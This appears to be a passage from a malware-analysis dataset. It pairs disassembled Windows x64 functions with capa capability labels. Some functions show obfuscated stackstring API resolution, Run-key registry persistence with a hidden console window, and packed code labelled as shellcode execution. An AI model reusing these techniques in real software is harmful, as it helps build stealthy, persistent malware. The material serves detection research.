joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001830
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov byte [rsp + 0x50], 0xff
mov byte [rsp + 0x51], 0x25
mov byte [rsp + 0x52], 0x9c
mov byte [rsp + 0x53], 0x79
mov byte [rsp + 0x54], 0xd7
mov byte [rsp + 0x55], 0xc6
mov byte [rsp + 0x56], 0x8f
mov byte [rsp + 0x57], 0x66
mov byte [rsp + 0x58], 0x6c
mov byte [rsp + 0x59], 0xa3
mov dword [rsp + 0x24], 0x21a26d46
mov dword [rsp + 0x20], 0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
movsxd rax, dword [rsp + 0x20]
cmp rax, 0xa
jae 0x1400018d2
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x38]
movzx eax, byte [rcx + rax]
xor eax, dword [rsp + 0x24]
movzx ecx, byte [rsp + 0x24]
rol al, cl
movsxd rcx, dword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov byte [rdx + rcx], al
mov eax, dword [rsp + 0x24]
ror eax, 3
sub eax, 0x85fd
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
jmp 0x140001885
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x1400018f1
xor eax, eax
jmp 0x140001a28
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140001911
xor eax, eax
jmp 0x140001a28
mov rax, qword [rsp + 0x40]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
cmp dword [rax], 0x4550
je 0x14000193e
xor eax, eax
jmp 0x140001a28
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x48]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x140001972
xor eax, eax
jmp 0x140001a28
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x28]
mov qword [rax + 0x20], rcx
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rcx + 0x18]
mov dword [rax + 0x18], ecx
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x70]
mov qword [rcx + 8], rax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x70]
mov qword [rcx + 0x10], rax
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x20], 0
je 0x140001a1d
mov rax, qword [rsp + 0x70]
cmp dword [rax + 0x18], 0
je 0x140001a1d
mov rax, qword [rsp + 0x70]
cmp qword [rax + 8], 0
je 0x140001a1d
mov rax, qword [rsp + 0x70]
cmp qword [rax], 0
je 0x140001a1d
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x10], 0
jne 0x140001a23
xor eax, eax
jmp 0x140001a28
mov eax, 1
add rsp, 0x68
ret
Function at 0x140001e40
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub rsp, 0x78
mov byte [rsp + 0x40], 0x7a
mov byte [rsp + 0x41], ILFindChild
mov byte [rsp + 0x42], 0x92
mov byte [rsp + 0x43], ILRemoveLastID
mov byte [rsp + 0x44], 0xa6
mov byte [rsp + 0x45], SHDoDragDrop
mov byte [rsp + 0x46], 0xb6
mov byte [rsp + 0x47], 0xd1
mov byte [rsp + 0x48], 0x9c
mov byte [rsp + 0x50], 2
mov byte [rsp + 0x51], PathMakeUniqueName
mov byte [rsp + 0x52], 0xa3
mov byte [rsp + 0x53], 0xfa
mov byte [rsp + 0x54], SHUpdateImageW
mov byte [rsp + 0x55], 0x66
mov byte [rsp + 0x56], 0xa8
mov byte [rsp + 0x57], reloc.SHELL32.dll_ILGetSize
mov byte [rsp + 0x58], 0x53
mov byte [rsp + 0x59], 0x68
mov byte [rsp + 0x5a], reloc.SHELL32.dll_ILSaveToStream
mov byte [rsp + 0x5b], 0x22
mov byte [rsp + 0x5c], reloc.SHELL32.dll_ILGetSize
mov byte [rsp + 0x5d], ILCreateFromPathW
mov byte [rsp + 0x5e], 0x6a
mov byte [rsp + 0x5f], SHUpdateImageW
mov byte [rsp + 0x60], 0x4d
mov byte [rsp + 0x61], 0x41
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x24], 0xbd73683c
mov dword [rsp + 0x20], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
movsxd rax, dword [rsp + 0x20]
cmp rax, 9
jae 0x140001f3b
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
movzx eax, byte [rcx + rax]
xor eax, dword [rsp + 0x24]
movzx ecx, byte [rsp + 0x24]
rol al, cl
movsxd rcx, dword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
mov byte [rdx + rcx], al
mov eax, dword [rsp + 0x24]
ror eax, 3
sub eax, 0x85fd
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
jmp 0x140001eee
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x24], 0xdc36edd2
mov dword [rsp + 0x20], 0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
movsxd rax, dword [rsp + 0x20]
cmp rax, 0x12
jae 0x140001fb2
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
movzx eax, byte [rcx + rax]
xor eax, dword [rsp + 0x24]
movzx ecx, byte [rsp + 0x24]
rol al, cl
movsxd rcx, dword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
mov byte [rdx + rcx], al
mov eax, dword [rsp + 0x24]
ror eax, 3
sub eax, 0x85fd
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
jmp 0x140001f65
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
add rsp, 0x78
ret
Function at 0x1400fcef0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400fcf3a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400fcf3a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400fcf3a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400fcf3a
cmp dword [rcx + 0x84], 0xe
jbe 0x1400fcf3a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400fcf3c
xor al, al
add rsp, 0x28
ret

Function at 0x140100350
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1401003bf
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1401003bf
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1401003bf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1401003bf
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1401003bf
cmp dword [rcx + 0x84], 0xe
jbe 0x1401003bf
cmp dword [rcx + 0xf8], 0
je 0x1401003bf
mov ecx, ebx
call fcn.140100470
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14010024c
nop
cmp dword [rbp + 0x20], 0
je 0x14010040d
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140100418
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140100350

Function at 0x140100554
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140100350
Function at 0x140102fb0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140103037
mov rsi, rbx
cmp word [rax], bp
je 0x140102ff6
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140102fe0
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140102fdc
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1401039d0
mov rdi, rax
test rax, rax
je 0x140103024
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140108920
mov rbp, rdi
xor ecx, ecx
call fcn.140101c78
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140108180
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1401081a8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1401081a8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001180
Capabilities:
Hide graphical window
Persist via run registry key
Set registry value

Disassembly:
sub rsp, 0x88
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov ecx, 0x30
call fcn.1400013b0
mov r8, rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], 0x2e
mov qword [rsp + 0x50], 0x2f
movups xmm0, xmmword [str.C:UsersjjdriOneDriveDesktopuhmx64dbg.exe]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140003390]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x1400033a0]
movsd qword [rax + 0x20], xmm0
mov edx, dword [0x1400033a8]
mov dword [rax + 0x28], edx
movzx eax, word [0x1400033ac]
mov word [r8 + 0x2c], ax
mov byte [r8 + 0x2e], 0
mov qword [rsp + 0x60], 0
mov ecx, 0x30
call fcn.1400013b0
mov rdx, rax
mov qword [rsp + 0x58], rax
movdqa xmm0, xmmword [0x140003400]
movdqu xmmword [rsp + 0x68], xmm0
movups xmm0, xmmword [str.SoftwareMicrosoftWindowsCurrentVersionRun]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400033c0]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x1400033d0]
movsd qword [rax + 0x20], xmm0
mov eax, dword [0x1400033d8]
mov dword [rdx + 0x28], eax
movzx eax, byte [0x1400033dc]
mov byte [rdx + 0x2c], al
mov byte [rdx + 0x2d], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea rcx, [rsp + 0x38]
cmp qword [rsp + 0x50], 0xf
cmova rcx, qword [rsp + 0x38]
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.YourProgramName
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, pe_nt_image_headers64
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
nop dword [rax + rax]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001310

Function at 0x140001d30
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001d7a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001d7a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001d7a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001d7a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001d7a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001d7c
xor al, al
add rsp, 0x28
ret
Function at 0x140002030
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000207a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000207a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000207a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000207a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000207a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000207c
xor al, al
add rsp, 0x28
ret

Function at 0x140009098
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140008e94
Function at 0x14000e658
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000e688
xor eax, eax
jmp 0x14000e74b
mov rbp, rbx
cmp word [rax], si
je 0x14000e6ad
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000e694
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000e690
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000e578
movsxd r14, eax
test eax, eax
jne 0x14000e6eb
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000e681
mov rcx, r14
call fcn.14000acfc
mov rdi, rax
test rax, rax
jne 0x14000e704
xor ecx, ecx
call fcn.140009ef4
jmp 0x14000e6e0
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000e578
test eax, eax
jne 0x14000e735
mov rcx, rdi
call fcn.140009ef4
jmp 0x14000e73f
xor ecx, ecx
call fcn.140009ef4
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140010d3c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1400245e0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x140010d93
cmp word [rdx], r13w
jne 0x140010d93
or byte [rax + rdi*8 + 0x38], cl
jmp 0x140010d98
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x140010ebd
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x140010ede
lea r9, [rdx + 2]
cmp cx, r11w
je 0x140010dd1
mov rdx, r9
mov word [rbx], cx
jmp 0x140010df8
cmp r9, r8
jae 0x140010e08
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x140010db2
jmp 0x140010ebd
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140010eb2
cmp dword [rsp + 0x80], esi
je 0x140010eb2
lea r8, [0x1400245e0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x140010e8a
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x140010e5a
mov word [rbx], r13w
jmp 0x140010eba
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x140010e67
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x140010eba
cmp word [rsp + 0x70], r13w
jne 0x140010e97
cmp rbx, r14
je 0x140010e54
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140014cb4
cmp word [rsp + 0x70], r13w
je 0x140010ebd
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1400245e0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x140010eb7
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x140010ebd
Function at 0x1400134cc
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1400134e2
mov al, 1
jmp 0x140013542
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400134f3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140013540
mov ecx, dword [rcx + 0x18]
nop
call fcn.14000ef78
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140013540
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140013540
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140013540
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140013542
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140014580
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000cb0c
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14001460a
cmp byte [rbp - 0x21], r15b
je 0x140014605
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140014640
call fcn.14000a144
test eax, eax
jne 0x14001462c
cmp byte [rbp - 0x21], r15b
je 0x140014624
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140014640
cmp byte [rbp - 0x21], r15b
je 0x14001463d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000ccc4
test eax, eax
jne 0x1400146e0
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000cb0c
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14001467f
cmp byte [rbp - 0x21], r15b
je 0x1400146b4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400146b4
call fcn.14000a144
test eax, eax
jne 0x1400146a0
cmp byte [rbp - 0x21], r15b
je 0x140014699
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400146b4
cmp byte [rbp - 0x21], r15b
je 0x1400146b1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000ccc4
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1400146e0
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1400146e3
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1400146f1
mov rcx, rdi
call fcn.140009ef4
cmp byte [rbp + 0x3f], r15b
je 0x140014700
mov rcx, qword [rbp + 0x27]
call fcn.140009ef4
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x140016cb0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140016cd8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140016cd8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400062a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Packed with generic packer
Read file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x78
xor eax, eax
test eax, eax
je 0x1400064c0
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor eax, eax
test eax, eax
je 0x1400066d7
nop
nop
nop
nop
nop
nop
add byte [rax], al
add byte [rcx], dl
add byte [rcx], al
add byte [rax + rdx*2], al
jb 0x14000654b
invalid
lea ecx, [rbp - 0x20]
mov edx, 0x736148e8
push rax
invalid
xor eax, eax
test eax, eax
je 0x1400068ee
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add byte [rdi], al
push rsp
outsd dx, dword [rsi]
jb 0x140006769
invalid
push rbp
mov ah, 0xeb
or al, dh
mov r10b, 0x3b
jnp 0x1400067c7
jne 0x140006789
mov eax, dword [rbx + 0x58]
cmp eax, dword [rbp + 0xc]
jne 0x140006789
mov eax, dword [rbx + 0x5c]
push rsp
and al, 4
call 0xcbf46bdc
ret
lea edi, [rbp - 0x10]
movsd dword [rdi], dword [rsi]
movsd dword [rdi], dword [rsi]
movsd dword [rdi], dword [rsi]
mov dword [rbp - 4], edx
je 0x140006833
adc byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], ah
add byte [rax], al
add ah, cl
mov dh, 0x36
mov edi, dword [rbp - 4]
movzx edi, byte [rdi + 1]
shl edi, 8
add esi, dword [rax + 0x61]
jb 0x1400068ad
jae 0x1400068b5
outsb dx, byte [rsi]
add al, byte [rax]
movsb byte [rdi], byte [rsi]
in al, dx
add byte [rdx], r8b
add byte [rcx + 0x53], bh
invalid
add byte [rsp + 8], dh
xor byte [rbx + 0x4e], bl
add byte [rax], al
add byte [rbx + rdx*2], al
add byte [rax], al
add al, 0x53
insb byte [rdi], dx
add al, byte [rax]
add bh, byte [rax - 0x3f743c01]
movzx eax, byte [rax + 0x3c]
mov byte [rdx], al
ret
mov dword [rsp + 0x44], 0
xor eax, eax
test eax, eax
je 0x140006b0d
mov eax, dword [rbp - 0x20]
push rax
mov edx, dword [rbp + 0x20]
mov eax, dword [rbp - 0x10]
mov ecx, dword [rbp + 0x1c]
call 0x1b56d6694
add al, byte gs:[rax]
add al, byte [rax]
add byte [rax], r13b
insb byte [rdi], dx
insb byte [rdi], dx
add byte [rdx], cl
push rdx
add eax, dword gs:[rax]
pushfq
adc byte [rax], al
or byte [rax], al
add cl, byte [rax]
sub ch, dh
add byte gs:[rax], al
add byte [rax], ah
pop rcx
add byte [rdx], al
hlt
add byte [rax], al
invalid
invalid

Function at 0x14000a5e0
Capabilities:
Create process on windows
Terminate process

Disassembly:
push rdi
sub rsp, 0x2b0
xor eax, eax
test eax, eax
je 0x14000a800
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor eax, eax
test eax, eax
je fcn.14000aa17
nop
nop
nop
nop
nop
nop
stc
jmp qword [rcx + 0x6cea38]